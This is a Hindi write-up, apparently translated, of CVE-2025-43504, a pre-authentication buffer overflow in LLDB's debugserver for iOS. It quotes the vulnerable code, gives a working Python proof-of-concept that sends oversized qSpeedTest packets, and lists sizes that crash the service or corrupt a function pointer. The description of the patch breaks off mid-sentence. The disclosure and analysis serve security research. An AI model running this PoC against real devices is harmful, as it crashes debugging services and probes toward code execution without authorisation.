
CVE-2025-43504 का तकनीकी गहन विश्लेषण, जो LLDB के debugserver (iOS के लिए) में एक दूरस्थ प्रमाणीकरण-पूर्व वैश्विक बफर ओवरफ्लो है, जिसमें PoC कोड और शोषण विश्लेषण शामिल है।
बड़े होते हुए, मुझे अपने स्थानीय Walmart में DVD के डिब्बों में खोदाई करने में हमेशा मज़ा आता था। मैंने देखा कि बहुत सी एक जैसी फ़िल्में ऊपर रखी रहती थीं, लेकिन अगर आप वास्तव में अंदर खोदाई करते, तो आपको अधिक दिलचस्प और विशिष्ट शीर्षक मिलते।
जब कोई प्रोग्राम किसी बफ़र को ओवरफ्लो करता है, तो आप अनिवार्य रूप से उसकी सस्ते दामों वाली टोकरी में पहुँच रहे होते हैं। आप कितनी दूर तक पहुँचते हैं, उसके आधार पर DVD - या इस मामले में, मेमोरी में अधिलेखित संरचनाएँ - बदल सकती हैं।
आज की सौदेबाज़ी /bin CVE-2025-43504 है: एक रिमोट प्री-ऑथेंटिकेशन ग्लोबल बफ़र ओवरफ्लो जो मुझे LLDB के debugserver में मिला था।
एप्लिकेशन डेवलपमेंट के दौरान, डेवलपर्स को अक्सर अपने ऐप को किसी भौतिक iOS डिवाइस पर डीबग करने की आवश्यकता होती है। इसे पूरा करने के लिए, Xcode लक्ष्य iPhone पर एक Developer Disk Image माउंट करता है और फिर उसके साथ पेयरिंग करता है।
एक बार पेयर हो जाने पर, macOS होस्ट iOS क्लाइंट के साथ क्लाइंट पर स्थापित debugserver का उपयोग करके संचार करने में सक्षम होता है। अब कोई भी क्लाइंट जो डिवाइस के debugserver के साथ GDB-remote सत्र स्थापित कर सकता है, वह qSpeedTest हैंडलर तक पहुँच सकता है और कमज़ोर बफ़र को ओवरफ्लो कर सकता है।
आइए बेहतर ढंग से समझने के लिए कि Apple ने CVE-2025-43504 को कैसे वर्गीकृत किया, Xcode 26.1 सुरक्षा रिलीज़ पृष्ठ पर एक नज़र डालें:

आधुनिक सॉफ़्टवेयर शमन के कारण, Apple बफ़र ओवरफ्लो को मुख्य रूप से एक डिनायल-ऑफ़-सर्विस समस्या मानता है, न कि भ्रष्टाचार प्रिमिटिव के रूप में। जैसा कि हम आज पता लगाएँगे, यह आम तौर पर सच है क्योंकि एक हमलावर को कई बाधाओं को पार करना होगा और संभवतः मनमाना कोड निष्पादन प्राप्त करने के लिए इस मुद्दे को किसी अन्य बग के साथ जोड़ना होगा।
यदि आप debugserver के पैच-पूर्व संस्करण के साथ प्रयोग करना चाहते हैं, तो निम्नलिखित कमिट या ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de से पहले की कोई भी कमिट का उपयोग करें:
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c
RNBRemote.cpp में पैच से पहले, कोई भी रिमोट उपयोगकर्ता जो किसी iOS डिवाइस के debugserver से कनेक्ट हो सकता था, वह RNBRemote::HandlePacket_qSpeedTest को प्री-ऑथेंटिकेशन qSpeedTest पैकेट भेज सकता था और debugserver के ग्लोबल डेटा सेगमेंट में आसन्न संरचनाओं को दूषित कर सकता था।
हालाँकि, एक महत्वपूर्ण चेतावनी है: हम केवल भ्रष्टाचार की लंबाई को नियंत्रित करते हैं। पेलोड की सामग्री 'a' वर्णों की एक स्थिर धारा पर तय होती है। जबकि छात्र लगातार उच्च अंकों का आनंद ले सकते हैं, इस ओवरफ्लो की व्यावहारिक उपयोगिता इस तथ्य से बहुत सीमित है कि हम वास्तव में लिखे जा रहे बाइट्स को नियंत्रित नहीं कर सकते - केवल यह कि 'a' की बाढ़ कितनी दूर तक जाती है।
अब, आइए RNBRemote::HandlePacket_qSpeedTest के हुड के नीचे एक नज़र डालें कि वास्तव में क्या हो रहा है:
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
// We control the length of response_size
uint64_t response_size = ::strtoul(p, &end, 16);
if (errno != 0)
return HandlePacket_ILLFORMED(
__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
// The overflow of g_data by a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
return SendPacket(g_data);
} else {
return SendErrorPacket("E79");
}
}
RNBRemote::HandlePacket_qSpeedTest() की भूमिका एक रिमोट उपयोगकर्ता से आने वाले qSpeedTest:response_size:<hex>; पैकेट को संसाधित करना है, बिना प्रमाणीकरण की आवश्यकता के, जो iOS डिवाइस के debugserver बाइनरी के साथ संचार कर सकता है।
हालाँकि, एक बार जब कोई रिमोट उपयोगकर्ता debugserver को qSpeedTest:response_size:<hex>; पैकेट भेजने में सक्षम होता है, तो उपयोगकर्ता द्वारा प्रदान किए गए response_size को संसाधित करने से पहले debugserver के भीतर कोई प्रमाणीकरण जाँच नहीं होती है। इसलिए, कोई भी उपयोगकर्ता जो Developer Disk Image के साथ माउंट किए गए iOS डिवाइस के साथ संचार कर सकता है, वह qSpeedTest:response_size:<hex>; पैकेट के माध्यम से debugserver को ओवरफ्लो करने में सक्षम है।
अब जब हम कमज़ोर फ़ंक्शन RNBRemote::HandlePacket_qSpeedTest() तक पहुँच गए हैं, तो आइए ठीक से जाँचें कि ओवरफ्लो कैसे होता है। सबसे पहले, qSpeedTest:response_size:<hex>; पैकेट में उपयोगकर्ता द्वारा प्रदान किया गया आकार <hex> निकाला जाता है और वेरिएबल response_size में संग्रहीत किया जाता है:
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);
यदि पार्सिंग सफल होती है और अगला कैरेक्टर एक सेमीकोलन है, तो एक फ़ंक्शन-लोकल स्टैटिक 4 MiB + 16‑byte बफ़र g_data को इनिशियलाइज़ किया जाता है और ASCII हेडर "data:" से सीड किया जाता है:
if (errno != 0)
return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
सब कुछ एक साथ रखते हुए, memset फिर स्टैटिक 4 MiB + 16‑byte बफ़र g_data को 'a' से भरता है, जिसमें उपयोगकर्ता-नियंत्रित response_size मान का उपयोग 'a' की संख्या के रूप में किया जाता है।
// The overflow of g_data by 'a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
इसलिए, जब भी कोई रिमोट LLDB क्लाइंट qSpeedTest:response_size:<hex>; पैकेट को 4 MiB + 16‑byte बफ़र से अधिक response_size के साथ भेजता है, तो एक बफ़र ओवरफ्लो होता है और debugserver के ग्लोबल डेटा सेगमेंट (.bss) में संग्रहीत आसन्न ग्लोबल वेरिएबल्स को दूषित करता है।
अब जब हम ओवरफ्लो के पीछे की वास्तुकला को समझ गए हैं, तो आइए अब कमज़ोरी के वास्तविक यांत्रिकी में गोता लगाएँ। शुरू करने के लिए, आइए g_data ओवरफ्लो के माध्यम से प्राप्त भ्रष्टाचार प्रिमिटिव का पता लगाने के लिए निम्नलिखित Python प्रोग्राम का उपयोग करें:
import argparse, socket
def frame(payload: bytes) -> bytes:
return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))
def send_one(host: str, port: int, resp_hex: str):
payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
pkt = frame(payload)
s = socket.create_connection((host, port), timeout=5.0)
s.settimeout(1.5)
try:
# send the oversized qSpeedTest
s.sendall(pkt)
try:
_ = s.recv(1) # ACK (best effort)
except Exception:
pass
# Optional tiny nudge to exercise pointer use
try:
s.sendall(frame(b"?"))
_ = s.recv(1)
except Exception:
pass
finally:
try: s.close()
except Exception: pass
def main():
ap = argparse.ArgumentParser(description="Send a single qSpeedTest packet with chosen response_size")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=1234)
ap.add_argument("--size", required=True,
help="Hex string for response_size (no 0x prefix), e.g. 40100a or 500000")
args = ap.parse_args()
print(f"[i] Sending qSpeedTest:response_size:0x{args.size} to {args.host}:{args.port}")
send_one(args.host, args.port, args.size)
print("[i] Done. If debugserver crashed, check the log for SIGSEGV/SIGBUS and fault address.")
if __name__ == "__main__":
main()
debugserver लॉन्च करने के बाद, हम निम्नलिखित python3 कमांड चलाते हैं और response_size के रूप में 4004AB प्रदान करते हैं:
python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB
हम ध्यान देते हैं कि debugserver क्रैश नहीं होता है और सामान्य रूप से लौटता है:

जबकि हम तकनीकी रूप से सीमा से बाहर हैं, g_data को \0 बाइट के साथ समाप्त किया जाता है, इसलिए पड़ोसी लॉगिंग फ़ंक्शन पॉइंटर g_log_callback केवल एक NULL बाइट द्वारा अधिलेखित होता है, जो पूरे पॉइंटर को NULL रखता है।
debugserver लॉन्च करने के बाद, हम निम्नलिखित python3 कमांड चलाते हैं और response_size के रूप में 0x4004AC प्रदान करते हैं:
python3 poc.py --host 127.0.0.1 --port 1234 --size 0x4004AC
ग्रेट स्कॉट!

एक अतिरिक्त बाइट प्रदान करके, हम NULL पूंछ से आगे बढ़ गए और पड़ोसी g_log_callback पॉइंटर को 0x61 के मान के साथ डीरेफरेंस करके समाप्त हो गए, जिसके परिणामस्वरूप क्रैश हुआ। अब, आइए अपने --size पैरामीटर को एक-एक करके बढ़ाना जारी रखें और देखें कि क्या होता है:

जैसा कि हम देख सकते हैं, अब हम g_log_callback के मान को नियंत्रित करते हैं। खैर, आंशिक रूप से, हम वास्तव में केवल यह नियंत्रित करते हैं कि g_log_callback में कितने बाइट 0x61 के बराबर होंगे।
हम इसे _DNBLogVAPrintf में होते हुए देख सकते हैं:
static inline void _DNBLogVAPrintf(uint32_t flags, const char *format,
va_list args) {
static std::recursive_mutex g_LogThreadedMutex;
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);
if (g_log_callback)
g_log_callback(g_log_baton, flags, format, args);
}
चूंकि g_log_callback गैर-NULL है, म्यूटेक्स लॉक हो जाता है और हमारे दूषित पॉइंटर को कॉल करने के लिए आगे बढ़ता है और क्रैश हो जाता है। अब, 0x4004B3 के response_size के बाद, हम क्रैश पते या संबंधित स्टैक ट्रेस में कोई वास्तविक बदलाव नहीं देखते हैं, जब तक कि response_size में 0x7F ऑफ़सेट नहीं जोड़ा जाता है। तार्किक रूप से, यह समझ में आता है, क्योंकि एक बार g_log_callback पॉइंटर दूषित हो जाने पर, g_log_callback को डीरेफरेंस करने के प्रारंभिक क्रैश के कारण अन्य लॉगिंग संरचनाओं के भीतर कोई भी अनुवर्ती भ्रष्टाचार अप्रासंगिक हो जाता है।
दिलचस्प बात यह है कि पैच से पहले macOS के एक प्रोडक्शन रिलीज़ पर, मैं इस आंशिक पॉइंटर नियंत्रण का उपयोग मेमोरी में विभिन्न उपयोगकर्ता-स्पेस पॉइंटर्स को अधिलेखित करने के लिए करने में सक्षम था:
0x0000000105006169
0x0000000103006169
0x0000000a0a006169
0x00000009d8006169
0x0000000103006169
0x0000000734006169
0x0000000100006169
किसी कारण से, प्रत्येक पते का अंतिम बाइट हमेशा 0x8 बाइट्स से बढ़ा हुआ था। हालाँकि, यदि हम समाप्त होने वाले 0x6169 बाइट्स द्वारा बनाई गई संरेखण समस्या को हल करने में सक्षम थे, और किसी तरह से अधिलेखित पॉइंटर द्वारा डीरेफरेंस किए गए डेटा की भविष्यवाणी और नियंत्रण करने में सक्षम थे, तो हम सैद्धांतिक रूप से नियंत्रण प्रवाह को पुनर्निर्देशित करने और अंततः कोड निष्पादन प्राप्त करने में सक्षम होंगे।
हमने दूषित g_log_callback पॉइंटर को डीरेफरेंस करने से पहले म्यूटेक्स लॉकिंग पर संक्षेप में चर्चा की थी। अब, 0x40052C के response_size पर, वास्तविक म्यूटेक्स स्वयं दूषित हो जाता है:

हम ध्यान देते हैं कि समस्या तब प्रकट हुई जब _DNBLogVAPrintf ने lock_guard निर्माण चलाया:
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);
स्टैक ट्रेस के आधार पर, हम देखते हैं कि lock_guard में तब दोष आता है जब __m_.lock को कॉल किया जाता है:
31│ _LIBCPP_HIDE_FROM_ABI explicit lock_guard(mutex_type& __m) _LIBCPP_THREAD_SAFETY_ANNOTATION(acquire_capability(__m))
32│ : __m_(__m) {
33│ __m_.lock();
│ ▲
34│ }
35│
आगे जाँच करते हुए, आइए std::recursive_mutex की फ़ंक्शन परिभाषा पर एक नज़र डालें:
void recursive_mutex::lock() {
int ec = __libcpp_recursive_mutex_lock(&__m_);
if (ec)
std::__throw_system_error(ec, "recursive_mutex lock failed");
}
यह __libcpp_recursive_mutex_lock के लिए एक रैपर प्रतीत होता है:
inline _LIBCPP_HIDE_FROM_ABI _LIBCPP_NO_THREAD_SAFETY_ANALYSIS int
__libcpp_recursive_mutex_lock(__libcpp_recursive_mutex_t* __m) {
return pthread_mutex_lock(__m);
}
जो बदले में pthread_mutex_lock के लिए एक रैपर प्रतीत होता है:
PTHREAD_NOEXPORT_VARIANT
int
pthread_mutex_lock(pthread_mutex_t *mutex)
{
return _pthread_mutex_lock(mutex, false);
}
जो _pthread_mutex_lock के लिए एक और रैपर है... लेकिन हमें उतनी दूर जाने की आवश्यकता नहीं है।
क्योंकि pthread_mutex_t पॉइंटर हमारे ओवरफ्लो से दूषित हो जाता है, pthread_mutex_lock std::system_error("recursive_mutex lock failed") फेंकता है और प्रोग्राम फिर abort() फेंकता है और समाप्त हो जाता है।
प्रोग्राम एबॉर्ट के कारण, macOS द्वारा किए गए अतिरिक्त चेकों को देखते हुए, 0x40052C और 0x402C62 के बीच response_size का शोषण काफी चुनौतीपूर्ण है क्योंकि हम एक सिंक्रनाइज़ेशन प्रिमिटिव को दूषित कर रहे हैं।
अब, जब हम 0x402C63 या उससे अधिक के response_size का उपयोग करते हैं, तो CPU RNBRemote::HandlePacket_qSpeedTest में तुरंत दोष देता है जैसे ही memset उस गार्ड पेज या अनमैप्ड क्षेत्र की सीमा को पार करता है जिसे कर्नेल ने मेमोरी में .bss सेगमेंट के बाद रखा है:

यह अंतिम ओवरफ्लो वैरिएंट उतना दिलचस्प नहीं है क्योंकि प्रोग्राम निष्पादन को नियंत्रित करने का कोई सीधा तरीका नहीं है।
अब जब हमने समस्या को कवर कर लिया है, तो आइए देखें कि Apple ने इसे कैसे पैच किया:

पैच विवरण के अनुसार:
इस आवंटन को हीप पर करने के लिए बदलें, और एक अधिकतम आकार लागू करें जिसका परीक्षण किया जा सके (अभी के लिए 4MB)।
हम दो प्रमुख परिवर्तन देखते हैं:
debugserver के ग्लोबल डेटा सेगमेंट (.bss) मेंApple के सॉफ़्टवेयर और सिस्टम के पीछे व्यापक क्लोज्ड-सोर्स इकोसिस्टम को देखते हुए, सॉफ़्टवेयर दोषों को विश्वसनीय रूप से खोजना और समझना हमेशा एक चुनौती होती है।
हालाँकि, हमेशा ओपन-सोर्स निर्भरताएँ होती हैं जिन पर Apple निर्भर करता है, और यदि आप उनमें से किसी एक में कोई समस्या पा सकते हैं, तो संभावना है कि डाउनस्ट्रीम में प्रभाव महसूस किए जा सकते हैं।
शिकार के लिए शुभकामनाएँ और किसी भी मिलने वाली समस्या का जिम्मेदारीपूर्वक खुलासा करना सुनिश्चित करें 😉